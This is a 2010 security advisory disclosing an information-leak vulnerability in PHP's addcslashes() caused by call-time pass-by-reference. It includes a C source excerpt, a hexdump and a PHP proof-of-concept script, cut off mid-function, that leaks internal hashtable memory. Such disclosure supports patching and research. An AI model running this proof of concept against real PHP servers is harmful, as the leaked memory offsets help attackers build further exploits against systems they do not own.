MOPS-2010-006: PHP addcslashes() Interruption Information Leak Vulnerability

May 3rd, 2010

PHP's addcslashes() function can be abused for information leak attacks, because of the call time pass by reference feature.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser's talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. Some of these vulnerabilties are only exploitable because of the call time pass by reference feature in PHP.

After the talk the PHP developers tried to remove the offending call time pass by reference feature but failed. The feature was only partially removed which means several exploits developed last year still worked the same after the fixes or just had to be slightly rewritten. One of these exploits exploits the addcslashes() function.

```
PHP_FUNCTION(addcslashes)
{
   char *str, *what;
   int str_len, what_len;

   if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &str, &str_len, &what, &w
      return;
   }

   if (str_len == 0) {
      RETURN_EMPTY_STRING();
   }

   if (what_len == 0) {
      RETURN_STRINGL(str, str_len, 1);
   }

   Z_STRVAL_P(return_value) = php_addcslashes(str, str_len, &Z_STRLEN_P(return_value), 0, wha
   RETURN_STRINGL(Z_STRVAL_P(return_value), Z_STRLEN_P(return_value), 0);
}
```

The problem here is that zend_parse_parameters() retrieves the two arguments into local variables. The string pointers and length are therfore copied into local variables, loosing the connection to the original ZVAL. The problem is that any modification of the ZVALs will not be reflected in the local variables and therefore any interruption could just modify the ZVALs so that the local variables point to already freed and reused memory. And because zend_parse_parameters() supports the __toString() method of objects the argument parsing can be easily interrupted by just passing an object as second parameter to addcslashes(). From the __toString() method an attacker can then kill the first argument to addcslashes() due to the call time pass by reference feature of PHP and reuse it e.g. for a hashtable. This results in addcslashes() working on the memory of a hashtable instead of a string and this lets the attacker leak importan internal memory offsets.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

```
Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000020: F0 F2 B4 00 01 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000030: D0 0A B5 00 01 00 00 00 74 43 30 00 01 00 00 00   ........tC0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- --   ...
```

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly.

Note that the method used here does not work on 64 bit Windows.

```
<?php
   class dummy
   {
      function __toString()
      {
         /* now the magic */
         parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
         return "";
      }
   }

   /* Detect 32 vs 64 bit */
   $i = 0x7fffffff;
   $i++;
   if (is_float($i)) {
      $GLOBALS['var'] = str_repeat("A", 39);
   } else {
      $GLOBALS['var'] = str_repeat("A", 67);
   }

   /* Trigger the Code */
   $x = stripcslashes(addcslashes(&$GLOBALS['var'], new dummy()));
   hexdump($x);

   /* Helper function */
   function hexdump($x)
   {
      $l = strlen($x);
      $p = 0;

      echo "Hexdump\n";
```

Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.